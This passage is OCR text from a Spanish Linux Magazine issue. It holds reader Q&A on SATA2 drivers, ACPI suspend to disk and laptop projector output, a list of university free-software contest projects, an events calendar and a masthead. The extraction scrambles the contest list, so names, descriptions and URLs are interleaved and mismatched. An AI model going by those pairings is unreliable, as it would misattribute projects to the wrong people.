bilidades son buenas si consigues los drivers SATA2 para tu configuración directamente de la fuente “normal” del kernel en www.kernel. org. Compilar un kernel (o los módulos del kernel) no es algo espantosamente difícil, pero dar con la configuración correcta si puede ser algo más complicado. Necesitarás saber qué chipset SATA2 usa tu placa, e información de otros componentes hardware, para saber qué opciones hay que marcar en la configuración del kernel. Existen muchas compañías de software libre, así como grupos de usuarios de Linux, que pueden ayudarte con este problema. He encontrado varias menciones a tu placa en la fantástica lista de Ubuntu, por lo que ya debería estar soportada por los kernels actuales de Linux. Puedes probar a ver si los discos son detectados por una Knoppix o una Ubuntu Live CD. Una vez que compruebes que los discos funcionan con ese kernel más reciente, debería ser posible actualizar el de tu sistema, o alternativamente realizar una nueva instalación con una distro que incorpore el kernel en cuestión.
Suspensión a disco con APM He leído su artículo en el número 19 de Linux Magazine con interés porque he tenido numerosos problemas al intentar (fallidamente) conseguir que funcione la suspensión a disco en mi Toshiba Satellite Pro 4600 con Mandriva LE2005. Funciona con Windows 2000 Pro, pero no sé si Windows 2000 usa APM o ACPI. Me gustaría hacerle dos preguntas: ¿cómo puedo saber si mi equipo soporta APM? y, en caso afirmativo, ¿qué tendría que hacer para iniciar la suspensión a disco con Mandriva LE2005? Para poder averiguar si su portátil soporta APM o ACPI, simplemente tenemos que probar ambos métodos. Podría, por ejemplo, arrancar Knoppix en modo knoppix acpi=force para forzar el modo ACPI, y comprobar más tarde con dmesg si aparece algo útil (podemos probar también el comando acpi), o arrancar con knoppix acpi=off para verificar que tenemos apm como alternativa (dmesg, apm,…). Podemos investigar en la documentación de Mandriva en busca de comandos equivalentes. Si su portátil soporta APM y ya tiene una partición o archivo para suspensión a disco creado por el fabricante (existen programas bajo DOS que modifican el disco duro en consonancia), debería poderse suspender a disco
Konsultorio • COMUNIDAD
simplemente con apretar la tecla al efecto, con lo que el portátil escribiría toda la información necesaria en la partición o fichero (y con algo de suerte, despertar de la suspensión más tarde). Con los portátiles más nuevos probablemente tenga que usar ACPI, debido a que éstos ya no implementan suspensión asistida por hardware. Por tanto, con el método soportado a partir del kernel 2.6.15 y superior, sólo necesitamos crear nuestra partición de swap lo suficientemente grande como para guardar la RAM entera más el swap en uso en ese momento. La opción del kernel para el lilo.conf o el menu.list de grub es resume2=swap:/dev/hda3, pasado como APPEND en las opciones del kernel, siendo /dev/hda3 una partición de swap en este ejemplo. Reiniciamos de manera que el kernel habilite esta funcionalidad. Podemos iniciar la suspensión a disco tecleando echo 4 > /proc/acpi/sleep
como root. Pueden pasar cosas extrañas y maravillosas al reiniciar. Cuando reiniciemos, nuestro kernel tratará de restaurar el estado del sistema desde la información guardada en la partición de swap, cosa que puede lograr o no al primer intento. Desafortunadamente, no es fácil averiguar qué componentes de nuestro ordenador soportan suspensión por hardware, y cuáles tienen que ser descargados y reiniciados tras la reanudación. Esto conlleva un proceso largo de prueba y error. Por tanto, cuando usemos suspensión a disco las primeras veces, debemos asegurarnos que toda la información vital está guardada en una copia de seguridad. Si echo 4 > /proc/acpi/sleep no tiene efecto alguno en el kernel, debemos echar mano del comando dmesg en busca de algún error obvio. Podría ocurrir simplemente que nuestro kernel simplemente no soporte suspensión a disco, o el ACPI esté desactivado.
PC Portátil con Configuración para Proyector Recientemente se ha celebrado un evento Linux, (Namur Linux Days, en Bélgica), al que fui invitado a hacer una presentación acerca de Evolution. Llegamos con un portátil, pero tuvimos algunas dificultades para sacar la presentación con un proyector. La solución que encontramos fue arrancar el ordenador con el proyector enchufado. Pero, en este caso, no aparecía nada en la pantalla del portátil.
Me gustaría poder visualizar en la pantalla del portátil lo que se está proyectando, o al menos tener un comando o tecla que me permita conmutar. He estado buscando en diversos artículos en Internet, pero no he encontrado una solución. ¿Podría ayudarnos? Sé perfectamente de lo que me está hablando. Resulta que tengo un portátil con el mismo extraño hardware “inteligente” que decide el modo gráfico en función de si el proyector está conectado en el momento de arrancar o no. Normalmente, para mi portátil, si el proyector está conectado en el momento de arrancar, se proyecta una imagen que “casi” coincide con la pantalla del portátil. Pero casi el 25% del área exterior queda cortada. Al tratar de solucionarlo con Control + alt + numpad, más o menos, aparecen todo tipo de graciosos efectos en la proyección. Este es fundamentalmente un problema de hardware, pero eso no significa que no existan algunas soluciones vía software bajo Linux. Solución 1: Iniciamos un framebuffer del servidor X para nuestra presentación. El servidor de framebuffer generalmente genera una imagen en frecuencias “amigables para el proyector” por TODOS los puertos de vídeo. Al hacer esto, simplemente tenemos que copiar nuestro /etc/X11/xorg.conf (o /etc/X11/XF86Config-4 si usamos XFree86 en lugar de Xorg) a una nueva ubicación, y cambiamos: Driver U “su-driver-de-aceleración”
a Driver “fbdev”
en la sección “Device” de la copia. Puede que queramos modificarar también la sentencia Modes para que coincida con la resolución preferida del proyector. Ahora, trabajando como root, podemos lanzar el nuevo servidor X tecleando:
WWW.LINUX-MAGAZINE.ES
Xorg :1 -nolisten tcp -config U /etc/X11/xorg.conf-projector
y levantamos la nueva pantalla desde la sesión “antigua” (conmutamos a la otra instancia del servidor X presionando Ctrl-Alt-F7, en caso de estar en la consola 7), tecleando: export DISPLAY=:1 U # Set the “default display” U for that shell kpdf my-presentation.pdf & U # Start the PDF presentation twm & # Add a quick & U small windowmanager
Solución 2: Para ciertos tipos de portátiles puede ser útil arrancar con la pantalla propia deshabilitada, de manera que sólo obtenemos la imagen del proyector. Aparentemente, los chipsets usados en estos portátiles no son capaces de
generar imagen interna y externa al mismo tiempo. Habrá que usar las teclas adecuadas para conmutar al modo “sólo puerto externo” en la pantalla de arranque. Esta solución al problema es francamente inconveniente, pero para algunos portátiles no parece haber otra solución. Solución 3: KDE incluye un plugin “cambiador de resolución rápido” en el Control Center que permite cambiar la resolución y ajustarla al tamaño del escritorio al mismo tiempo. A veces es útil permutar al modo 800x600 de manera que funcionen adecuadamente tanto la imagen del proyector como la del portátil a la vez. En algunas ocasiones la frecuencia de refresco es un factor importante si queremos que la imagen del proyector sea la misma que la del portátil. Cambiar la frecuencia a unos 75Hz si el proyector no es demasiado I nuevo puede hacer milagros.
Número 22
87
COMUNIDAD · Concurso de Software Libre
CONCURSO DE SOFTWARE LIBRE resentamos a continuación el listado completo en orden alfabética de los proyectos admitidos para participar en 1er Concurso Universitario de Software Libre. Para más información y las últimas noticias, visita http://concurso-softwarelibre.us.es/.
P
ACHILLES ::UN SISTEMA DE GESTIÓN DE RECURSOS Framework que permitirá gestionar todo tipo de información proporcionando una base sólida y funcional sobre el que se podrán ir añadiendo módulos y/o componentes. Autores
Guillermo Rodríguez Cano URL
http://www.themountolympus.net/category/ desarrollos/achilles
APLICACIÓNWEB DE GESTIÓN DE UN ÁREA DE DEPORTE Aplicación web de gestión de un área de deporte (polideportivo).
y audio en “tiempo real” a través de la red mediante protocolos de comunicación basados en tecnologías P2P.
Autores
Santiago Dueñas Domínguez
Autores
Sandra Caño Galán APT-CE Versión del apt-get para pocketpc con sistema operativo Windows CE. Autores
Jose Manuel Ferrer Mosteiro AUTOLEARN Programa para el aprendizaje de la seguridad vial, con material sobre el código de circulación y pruebas propuestas para el/la usuario/ a. Autores
Alberto Díaz Herández
CENTRO DE MEDIOS Organizador que permite el almacenamiento de distintos tipos de material (texto,fotos,vídeos …) a los que se les puede asignar multitud de metadatos. Autores
Pablo Guerrero Rosel Jorge Salamero Sanz CLIENTE MENSAJERÍA INSTANTÁNEAY LECTOR DE SINDICACIÓN Cliente de mensajería instantánea y lector de sindicación multiprotocolo y multiplataforma. Autores
Rubén Dugo Martín ACTION-ADVENTURE ARCHAEOLOGIST GAME Videojuego de acción y aventura donde el protagonista es un arqueólogo que debe explorar distintos mapas.
AYEAYE Aplicación para gestionar e inventariar dispositivos de red.
Vicente Ruiz Rodríguez
Autores
Autores
http://gocmis.wordpress.com/
Borja Moreno Fernández
Ignasi Fosch Alonso Javier Arellano Roig
AGENTE OSMIUS PARA MONITORIZACIÓN DE ISPS Aplicación para monitorizar y centralizar los datos del servicio real que ofrecen los distintos ISPs del mercado con la finalidad de dar una medida fidedigna de la calidad de internet en cualquier parte del mundo. Autores
Guillermo Halys Ortuño ALELI Sistema para la creación de distintos tipos de estadísticas histórico de una lista de correo en formato mbox (como los que genera mailman). Autores
Pablo García Figuerola APLICACIÓN DISTRIBUIDA PARA LA GESTIÓN DE CURSOSVIRTUALES Desarrollo de una plataforma de enseñanza virtual basada en Moodle.
BLOODTOOTH Programa para la transferencia de archivos y documentos a través de dispositivos bluetooth para el entorno de escritorio Gnome.
COLORSTYLER Aplicación para sistematizar la creación de plantillas opensource XHTML+CSS para distintos CMS que permite reorganizar la distribución de su layout y los colores de la plantilla mediante un interfaz de usuario.
Autores
Autores
Juan Jesús Salas Rivera
Fernando Salom Carratalá
Angel Fernandez Fernandez
Victor Marco Boix
Javier Sivianes López
URL
URL
http://colorstyler.wordpress.com/
http://bloodtooth.wordpress.com/ CABARET – SOFTWARE DE PRESENTACIONES OPENGL Software para creación de presentaciones dinámicas mediante OpenGL, con soporte para plugins.
COMPARTE RIQUEZA Programa que pretende facilitar el intercambio de recursos y materias primas entre pueblos del tercer mundo sin intermediarios. Autores
Iñigo Tamayo
Autores
David Muñoz Díaz URL
http://thecabaret.wordpress.com/
Autores
COMPRESIÓN EN EL SISTEMA DE ARCHIVOS EXT3 Sistema de fichero ext3 con compresión al vuelo de los datos guardados. Autores
Alejandro López Vega Alejandro Leal Cruz
88
Gabriel Garrido Calvo URL
Número 22
CARONTE Sistema de retransmisión/recepción de vídeo
WWW.LINUX-MAGAZINE.ES
Francisco José Oviedo Alvarez
el REPOSITORIO de conocimientos LINUX más COMPLETO ¡No esperes a que se agoten!
#20
¡pídelos ya!
#21
W W W. L I N U X - M A G A Z I N E . E S / AT R A S A D O S
COMUNIDAD · Concurso de Software Libre
URL
Autores
http://ext3z.wordpress.com/
Miguel Serrano Milano
para el posterior uso en videojuego u otras aplicaciones interactivas.
URL
Autores
CONTROL PORVOZ Aplicación modulable dedicada a hacer accesible otros programas vía voz para su uso por personas discapacitadas. Autores
Alejandro Díaz Torres
http://hxuml.wordpress.com/ DOCEVAL Herramienta para evaluar la calidad de la documentación generada en un proyecto de software libre. Autores
DEBCULTURE Programa que usará el sistema de empaquetado de Debian para la distribución de material cultural, musical, multimedia, etc…
Juan Luis Prieto Martínez URL
http://www.lacoctelera.com/doceval
Autores
Jesús Espino García URL
http://debculture.wordpress.com/
David Gras Reyes Pablo Jimena López
DOMINAREK Dominarek es un juego de dominó multiusuario, donde se podrá jugar contra la máquina o con otros jugadores por internet.
Pablo Lloréns Lledó URL
http://virtual3d.wordpress.com/ EPOL (ENTORNO DE PROGRAMACIÓN ON-LINE) Entorno de programación en línea para desarrollar, compilar y descargar los ejecutables generados por los lenguajes C, C++, ADA y Java. Autores
Idafen Santana Pérez Rubén Quesada López
Autores DEBIAN GNU/HURD & GNOME Distribución Debian/HURD con escritorio.
Manuel Flores Vivas
Autores
http://dominarek.wordpress.com/
URL
Marc Poch Mallandrich URL
http://errno.wordpress.com DEMOSTRADOR AUTOMÁTICO PARA LA LÓGICA DE PRIMER ORDEN Programa para analizar la consistencia de fórmulas lógicas de primer orden. Autores
Juan Jesús Gutiérrez Ramos DESARROLLO DE UN MOTOR PARA LA CREACIÓN DE JUEGOS RPG 2D Motor para la creación de juegos RPG 2D, junto con un juego que demuestre las posibilidades del motor. Autores
EASY-KERNEL Utilidad para principiantes que automatiza la compilación del kernel en sistemas Linux. Autores
Roberto Alfonso Perera EDICIÓN ONLINE DE CONTENIDOS ESTRUCTURADOS Módulo de software para la edición on-line de contenidos estructurados mediante la aplicación de tecnologías como XML, AJAX y XFORMS Autores
Alberto González Cristiano Francisco Zanón Ordóñez
Albert Amengual Galindo URL
http://www.bmox.net/blog/ DESARROLLO DE UN SIMULADOR DE ROBOT MÓVIL AUTÓNOMO Simulador de robot móvil y autónomo.
EDUCO-MATEMÁTICAS Aplicación para el uso didáctico dirigida a estudiantes de primer y segundo curso de primaria de la asignatura de matemáticas. Autores
Javier Almagro Abellán URL
http://javiblog.wordpress.com/
Autores
Maria del Mar Jiménez Torres DETECCION DE BOTNETS EN REDES LOCALES Aplicación que analiza el tráfico que atraviese una red local en busca de tráfico sospechoso de ser usado por una botnet y tomar de forma automática las medidas aportunas. Autores
EMULADOR DE ENSAMBLADOR Emulador de ensamblador modular escrito en Python y GTK.
90
FORMULACIÓN MAGISTRAL Programa de gestión y tasación de fórmulas magistrales que permite llevar un control de pacientes, médicos, productos, envases, etc… y cumplir con la legislación actual sobre prospectos e indicaciones. Autores
Alvaro Cortés Cabrera URL
http://formulacionmagistral.wordpress.com/ FREE HARDWARE MANAGER Gestor de hardware avanzado que permite la detección y configuración de dispositivos. Autores
Manuel Angel Abeledo Garcia Esteban Paz Freire GASOLINERAS Extensión para Mozilla Firefox, que analiza los datos ofrecidos en la pagina web del Ministerio de Industria y nos muestre las gasolineras más baratas, así como su ubicación y precio en función del carburante indicado. Autores
F. Javier Delgado Seva URL
Francisco Suárez Muñoz
http://yson.wordpress.com/
Jaime Cabot Campíns Iván Ruiz Monjo
Número 22
Jesús Requejo Monzón
Autores
Adrian Belmonte Martin DISEÑO UML EN ENTORNOWEB Herramienta web para la edición UML en línea.
Autores
Ricardo Campos García
David Pol Ahonen Emilio Perelló Alcal
EUREKA CATALOGUER Software para catalogar información almacenada en discos compactos, unidades USB y otros sistemas de almacenamiento. Este software permite manejar la información salvada sin necesidad del soporte físico.
ENTORNOVIRTUAL 3D PARA DESARROLLO DE APLICACIONES Componentes básicos de todo entorno 3D
WWW.LINUX-MAGAZINE.ES
GCONTA 2.0 Porte de la aplicación gconta [gconta.sf.net], a una nueva arquitectura más flexible que permita un sistema de plugins para el entorno de escritorios Gnome Autores
Concurso de Software Libre • COMUNIDAD
Bruno Orcha García
Juan Amador Álvarez Fernández
URL
Manuel Felipe Gamallo Rivero
http://gconta.wordpress.com/ GESTIÓN DE ESCUELAS DE DANZA Aplicación para la gestión de escuelas de danza. Escrita en C y con interfaz gráfica en GTK. Autores
Jorge Luis Arévalo de Soto URL
http://jorgearevalo.wordpress.com/tag/ proyectos/gestor-de-academias/
GUADALINEX-US PARA APPLE MACINTOSH SOBRE INTEL Adaptación de la distribución Guadalinex para la Universidad de Sevilla a los nuevos Apple Macintosh con procesador Intel de forma nativa. Autores
Jose Antonio del Corral Alcaraz URL
http://guadalinexmac.wordpress.com/
GESTIÓN DE PROYECTO FIN DE CARRERA (GPFC) Versión de escritorio del programa GPFC, usada por el profesorado para la gestión de Proyectos de Fin de Carrera.
GUIDE PARA OCTAVE Entorno gráfico para diseño de interfaces de usuario de aplicaciones para Octave.
Autores
Juan Pedro Cobos Carrascosa
Autores
José Félix Ontañón Carmona GESTIÓN INTEGRAL DE CENTROS EDUCATIVOS Aplicación web orientada a la gestión de centros educativos tanto de primaria cómo secundaria con capacidad para gestionar trámites administrativos y académicos de los alumnos y alumnas. Autores
Fernando Mayo Fernández GESTIONG Programa para la gestión contable y de socios de pequeñas asociaciones sin ánimo de lucro. Autores
Francisco Santiago Capel Torres Sara Oñate Isabel Cánovas García
HELL Debugger grafico para plataformas x86 y linux/unix que se asemeja a aplicaciones ya existentes en windows como ollydbg, IDAPro o SoftICE. Autores
Autores
Pablo Palazón Sánchez URL
http://groonanlfs.wordpress.com/ GSTICE Librería de soporte que posibilita la transmisión de un flujo de datos en entornos internet/intranet. Separa en canales varias transmisiones simultáneas, logrando que diversos clientes puedan utilizar más de un canal al mismo tiempo. Autores
Diego Martín-Serrano Fernández Óscar Aceña Herrera
Davíd Morán Antón URL
http://helldbg.wordpress.com/ JITUNES Reproductor y organizador de archivos de música que permiten la utilización de plugins para añadirle nuevas características como compartir, buscar y puntuar los ficheros de audio, reproducir radio a través de internet…
Rafael Valenzuela Moraleda Borja Martin Sánchez de Vivar KANA DS Aplicación para aprendizaje de los silabarios Hiragana y Katakana del lenguaje Japonés, además de los Kanji correspondientes al nivel oficial JLPT-4(80 ideogramas)
Autores
Juan Belón Pérez-Higueras Xavi Rivilla Frias URL
http://www.agenciaq4.com/muchigame/ MODIFICACIÓN DE OSCOMMERCE PARA POTENCIAR EL COMERCIO ELECTRÓNICO Amplicación de la aplicación OSCOMMERCE para facilitar a los usuarios menos familiarizados con las nuevas tecnologías la creación de nuevos proyectos comerciales en la red. Autores
Javier Pulido García MSILCC Compilador de lenguaje MSIL a lenguaje C para poder usar lenguajes de alto nivel para programar sistemas empotrados y de bajo nivel. Autores
Pablo Iñigo Blasco MUSICQUIZZ Juego inspirado en el original del iPod de Apple que reproduce fragmentos de tu propia biblioteca musical y muestra, al mismo tiempo, algunas opciones donde el jugador tendrá que seleccionar la pista correcta que se está escuchando en el menor tiempo posible. Autores
Jacobo Tarragón Cros William Viana Soares Víctor Muñoz Ferrara NASUPP:NAVAJA SUIZA PARA PDFY POSTSCRIPT Frontend gráfico que facilita la manipulación de ficheros PDF/postScritp apoyado en las herramientas psutils, pdfjam, poppler-utilsen. Autores
Francisco Luis Araña Cruz
Autores
Julio Gorgé URL
http://kanads.blogspot.com/
NETSHARE Aplicación gráfica que facilita la tarea de configuración de una red doméstica por usuarios poco experimentados. Autores
KONQUEROR EN ESTEROIDES Ampliación notable del navegador Konqueror. Cabe destacar un nuevo sistema de marcadores, una papelera de páginas cerradas, la mejora del sistema de sesiones y la eliminación de huellas. Autores
GUÍA CINEMATOGRÁFICA MULTIUSUARIO CON SISTEMA DE REGLAS Sistema experto para la evaluación de largometrajes.
Autores
Manuel Martín de Miguel
Autores GROONAN LINUX FROM SCRATCH Soporte para la instalación automática de Linux From Scratch a partir de configuraciones en XML.
Müchis, en el que podrás explorar su mundo y acompañar en el crecimiento al personaje a lo largo de su corta vida durante las aventuras que puedan ocurrir.
Eduardo Robles Elvira Daniel García Moreno
Antonio González Romero URL
http://tivi.wordpress.com/ NEUROCIENCIA COMPUTACIONAL Sistema, similar al ya existente T9, que utiliza un modelo computacional de la corteza cerebral, o neocórtex, para jerarquizar y predecir las interacciones del usuario con el terminal. Autores
MÜCHIGAME Juego de simulación de la vida real de los
WWW.LINUX-MAGAZINE.ES
Marcos Cobeña Morián
Número 22
91
COMUNIDAD · Concurso de Software Libre
Jorge Moreno Aguilera María de La Luz Cabrera Bernal ORGANIZADOR DE HORARIOS PARA UNIVERSITARIOS Programa para organizar el horario de un estudiante universitario. Dado un conjunto de asignaturas y horarios, desarrollará diferentes alternativas, facilitando al estudiante esta tediosa tarea anual. Autores
Víctor Moreno Gómez ORSETTA (GESTOR DE EVENTOS) Sistema Gestor de Contenidos (CMS) orientado a la gestión de tareas relacionadas con la organización de eventos.
PROYECTO EDUKI CMS desarrollado para la utilización en centros educativos. Permite la publicación de información sobre consulta de notas, catálogo de bibliotecas, tutorías virtuales, etc. Autores
Guillermo Grande Vidal PROYECTO OPEN PIPE Proyecto que mezcla software libre y hardware libre para crear un instrumento musical digital para músicos que tocan instrumentos de viento.
Santiago José Barro Torres
Marta Prado Fernández URL
Autores
http://orsetta.macada.net
Pedro Luis Lucas Rosado
Antonio Martínez Carballo
URL PAINTPOL Aplicación que permite que dos o más usuarios dibujen sobre un único lienzo a través de internet. Es una mezcla de mensajería instantánea y editor de imágenes. Autores
Matías Escudero Martínez Pablo Novo Giménez Fernado Fernández-Valdés Pedrosa URL
http://paintpol.blogspot.com/
URL
http://evial.wordpress.com SERVIDORWEBIMPLEMENTADOENC Servidor web implementado en C más ligero y con el máximo de características, haciendo mayor énfasis en crear un servidor seguro. Autores
Toni Pizà URL
http://serverweb.wordpress.com/
Autores
QTOCTAVE Front-end en QT para Octave que facilita el trabajo del usuario final con esta herramienta de cálculo matemático compatible con Matlab.
Autores
Daniel Garrido Garrochena
http://qtoctave.wordpress.com/ RAPYDO – RADIOLOGICAL ANALYSIS IN PYTHON FOR DEVELOPERS Framework orientado al campo del análisis de imágenes médicas que proporciona un entorno de desarrollo sencillo y con una curva de aprendizaje corta, utilizando como pilares fundamentales ITK y VTK.
SHARPKNOCKING Aplicación que, usando las herramientas de Netfilter, gestionará la apertura y cerrado de puertos de una máquina de forma dinámica dependiendo si se da la orden o no para usar un puerto determinado. Autores
Miguel Ángel Pérez Valencia Luis Román Gutiérrez URL
http://projects.ilikecoffee.net/sharpknocking/ SIMPROC Simulador para la simulación de procesos automatizados, ideal para la construcción de prototipos virtuales de maquinaria industrial. Autores
Óscar Gómez García
Autores
URL
José Ángel Montelongo Reyes
http://simproc.wordpress.com
URL SISTEMADEAUTENTICACIÓNENREDES Y 02.11.A/B/G
http://rapydo.wordpress.com/ PHONEPLOT Aplicación que guarda todos los datos generados por una centralita PAB para un posible análisis a posteriori. Autores
Juan Jesús Bolorino Martín PORTING DE GCC A LA ARQUITECTURA DEL MICROCONTROLADOR PIC16F877 Desarrollo del porting del compilador de C libre GCC para el microcontrolador de Microchip PIC16F877 Autores
Pedro José Ramírez Gutiérrez URL
https://pjmicrocontroladores.wordpress.com/ PROGRAMA DE ANÁLISIS DE EVENTOS DEPORTIVOS Programa que gestiona y facilita el análisis táctico de eventos deportivos
REESCRITURA DE LA INTERFAZWEB DE GNU MAILMAN Creación de una nueva interfaz de gestión para el archiconocido servidor de listas de correo GNU Mailman.
URL
http://longomatch.wordpress.com/
Adrián Yanes Martínez
Alvaro Uría Avellanal
Martín Gómez Loira
URL
Número 22
SISTEMADECOMUNICACIÓNALUMNOPROFESOR
http://fermat.wordpress.com/ REMANDO CONJUNTAMENTE Plataforma digital para una red de inserción laboral para personas en riesgo de exclusión social que aune los esfuerzos y recursos de distintas entidades que trabajen en este campo.
Sistema de comunicación basado en la arquitectura cliente-servidor para la gestión de datos y comunicaciones entre profesores y alumnos.
Autores
URL
David Rodríguez Vicente.
http://www.bluegod.net/aulachat/
Autores
James López Prieto
URL
http://remando.blogia.com/ SEGURIDADVIAL Juego educativo orientado hacia los más jóvenes para que estos se conciencien de la importancia de la seguridad vial. Autores
92
Autores
Autores
Autores
Andoni Morales Alastruey
Sistema de autenticación para redes ethernet o wireless con el uso de Smartcards para la certificación del usuario en la red.
WWW.LINUX-MAGAZINE.ES
SISTEMADEGESTIÓNDEICONOS
Aplicación para gestionar bibliotecas de iconos locales. Autores
Juan Colino Barrigón Jorge Diez Rujas
Concurso de Software Libre • COMUNIDAD
URL
SWAML,SEMANTICWEBARCHIVEOF MAILINGLISTS
http://waltz.wordpress.com/ SISTEMA DE GESTIÓN DE UNA CETRALITA TELEFÓNICA CON ASTERISK
Programa web que permite gestionar todos los componentes de una centralita en Asterisk.
Proyecto de investigación desarrollado en la Universidad de Oviedo alrededor de las tecnologías de la Web Semántica para publicar los archivos de una lista de correo en un vocabulario RDF. Autores
Autores
Sergio Fernández López
Luis Pérez Meliá
URL
URL
http://cooltran.wordpress.com/ TRADUCTOR LIBRE
Traductor libre (inglés-español) para estaciones de trabajo o servidor web, con la posibilidad de ir añadiendo nuevos idiomas y combinaciones de éstos que permitirá la traducción fiable y casi inmediata de artículos y textos. Autores
http://swaml.berlios.de/ SISTEMA PARA LA GESTIÓN DEL SERVICIO DE REPROGRAFÍA
Un sistema de control de la reprografía y documentos que constará de una interfaz web con DMS, un modulo para enlazar con los correspondientes drivers de impresión y una aplicación para la gestión de las impresiones solicitadas.
Jorge Novo Novo
TCOSCLIENTESLIGEROSSOBREDEBIAN
TCOS es un nuevo sistema de arranque por red para terminales ligeros basado en Debian GNU/Linux. Autores
TRIVIEDUV1.0
Juego educativo de preguntas y respuestas similar al Trivial para la enseñanza primaria con soporte para juego en grupos. Autores
Mario Izquierdo Rodríguez
Autores
URL
Rubén Marcos Tamargo
http://soleup.eup.uva.es/mariodebian
Marta Sanz Casadesús URL
URL
http://resete.sytes.net/blog/index.php/ category/concurso-univ-software-libre/feed/
TERRARIOVIRTUAL
Juego que simula un terrario en el que conviven diferentes especies virtuales, y que muestra la evolución tanto social cómo individual de toda criatura.
http://triviedu.blogspot.com/ WEBDEVSTUDIO – ENTORNO DE DESARROLLO INTEGRADO ONLINE
Aplicación cliente-servidor para la gestión de cybercafés.
Autores
Autores
URL
Entorno de desarrollo integrado (IDE) online para mantener proyectos informáticos implementados en diferentes lenguajes de programación en un servidor y poder acceder a él y trabajar con ellos mediante un navegador web.
Jorge Peña Cotarelo
http://vterrario.blogspot.com/
Autores
SOLUCION PARA CONTROL Y GESTION DE PUESTOS DE UN CYBERCAFÉ
Leandro del Olmo Coto
Israel Ortiz Flores
URL THINKLINUX
http://cotarelo.wordpress.com/ SONORO
Componente de Joomla orientado a la gestión de grupos de música sin derechos de autor.
Distribución live basada en SlackWare y orientada a cubrir todas las necesidades de los portátiles Thinkpad. Autores
Daniel Moreno Medina
XAJAX + CMS = XCMS
Implementación de nuevas funcionalidades para el CMS (Moodle) con el fin de alcanzar un nuevo nivel de interactividad por parte de los usuarios. Autores
Autores TORMENTABIERTA
Daniel Monedero Tórtola SPECTAKLE
Suite de aplicaciones de señalética digital. La señalética digital se usa en museos, aeropuertos, estaciones de ferrocarril y otros lugares públicos donde es necesario mostrar información cambiante en tiempo real. Autores
Pau García i Quiles SUBDOWNLOADER
Programa que facilita la búsqueda y posterior descarga de subtítulos para diferentes formatos de vídeo.
Herramienta multiusuario que permite desarrollar, publicar y recoger la información de un repositorio o banco de ideas. Autores
Francisco Jesús Gómez Rodríguez José Antonio Pizarro Romanillos Rubén Martínez Jiménez URL
http://xcms.wordpress.com/
Daniel Carballo Ruiz Blanca Maeso González TRADUCTORDETÉRMINOS MULTIPLATAFORMABASADOENOCR
ZZUI Interfaz gráfica para la herramienta opensource 7zip, una herramienta de compresión/decompresión de archivos que en su versión GNU/ Linux sólo está disponible mediante interfaz de consola.
Herramienta para el reconocimiento y traducción de palabras que aparecen en la pantallla mediante OCR. Las traducciones se realizarán a partir de un diccionario libre, colaborativo y gestionable desde la misma aplicación.
Pedro Laguna Durán
Autores
Olga Domínguez Gil
Autores
Diego Sevillano de Miguel
Iván García Cortijo
Javier García Palacios
WWW.LINUX-MAGAZINE.ES
Autores
Christian López Espínola
URL
http://zzui.wordpress.com/
Número 22
93
EVENTOS
I Concurso Universitario de Software Libre Fecha: 1 Sep. - Junio 07 Ciudad: Sevilla, España
FOSDEM 2007
Debconf 7
Fecha: 24-25 Feb 07
Fecha: 17-23 Junio 07 Ciudad: Edinburgo, RU
Ciudad: Bruselas, Bélgica Web: http://www.fosdem.org
Sitio Web: http://www.debconf.org
Web: http://concurso-softwarelibre.us.es
Calendario de Eventos Evento T-DOSE Open Source Developers' Conference Secure Linux Administration Conference 23rd Chaos Communication Congress linux.conf.au 2007 14. DFN-Cert-Workshop SCALE 5x Vancouver PHP Conference 2007 LinuxWorld OpenSolutions New York Open Source Developers' Conference FOSDEM 2007 PyCon 2006 UKUUG Spring 2007 Conference FOSE 2007 ETech Conference 2007 fisl 8.0 Web 2.0 Expo 2007 Debconf 7
Fecha 2-3 Diciembre 5-8 Diciembre 7-8 Diciembre 27-30 Diciembre 15-20 Enero 07 7-8 Febrero 07 10-11 Febrero 07 12-13 Febrero 07 14-15 Febrero 07 20-22 Febrero 07 24-25 Febrero 07 24-26 Febrero 07 19-21 Marzo 07 20-22 Marzo 07 26-29 Marzo 15-18 Abril 07 15-18 Abril 07 17-23 Junio 07
Ciudad Eindhoven, Holanda Melbourne, Australia Berlín, Alemania Berlín, Alemania Sydney, Australia Hamburgo, Alemania Los Ángeles, CA, EE.UU. Vancouver, Canadá Nueva York, EE.UU. Netanya, Israel Bruselas, Bélgica Addison,TX, EE.UU. Manchester, RU Washington, DC, EE.UU. San Diego, CA, EE.UU. Porto Alegre, Brasil San Francisco, CA, EE.UU. Edinburgo, RU
Sitio Web www.t-dose.org www.osdc.com.au/ www.heinlein-support.de/slac events.ccc.de/congress/2006 http://lca2007.linux.org.au www.cert.dfn.de/events/ws/2007/ http://www.socallinuxexpo.org http://vancouver.php.net/node/360 www.linuxworldexpo.com/live/14 www.osdc.org.il/2007 www.fosdem.org us.pycon.org www.ukuug.org/events/spring2007 http://www.fose.com http://conferences.oreillynet.com/etech fisl.softwarelivre.org/8.0/www/ http://www.web2expo.com http://www.debconf.org
Información de Contacto Director Paul C. Brown
Director Editorial Paul C. Brown
Coolaboradores Paul C. Brown, Jose Manuel González Vida, Juan Rafael Fernández, Pedro Orantes, José María Ruíz, Alberto Planas, Jose A. García, Ana Mª Ferreiro
Jefe de Producción Juan Miguel Ramírez
Traductores Paqui Martín Vergara, Paul C. Brown, Víctor Tienda, Oliver Kurz.
Subscripciones: www.linux-magazine.es/magazine/subs
Maquetación Fran Sánchez Diseño de Portada Pinball info@pinball-werbeagentur.de Publicidad www.linux-magazine.es/pub/ Para España Marketing y Comunicaciones anuncios@linux-magazine.es Tel.: (+ 34) 951 010 556 Fax.: (+ 34) 951 010 516 Paul C. Brown pbrown@linux-magazine.es Tel.: (+ 34) 951 010 556 Fax.: (+ 34) 951 010 516 Para el Resto del Mundo Brian Osborn ads@linux-magazine.com Tel.: (+49) 6509 910 495 Fax.: (+49) 6509 910 497
94
Número 22
Precios Subscripción España: Europa: Resto del Mundo - Euros: Tel.: Fax.: subs@linux-magazine.es
54,90 € 64,90 € 84,90 € (+34) 951 010 556 (+34) 951 010 516
Linux Magazine Linux New Media Spain, S.L. Avda. Juan López Peñalver, 21 29590 - Campanillas Málaga ESPAÑA info@linux-magazine.es Tel.: (+34) 951 010 556 Fax.: (+34) 951 010 516
www.linux-magazine.es - España www.linux-magazine.com - Mundo www.linux-magazine.de - Alemania
WWW.LINUX- MAGAZINE.ES
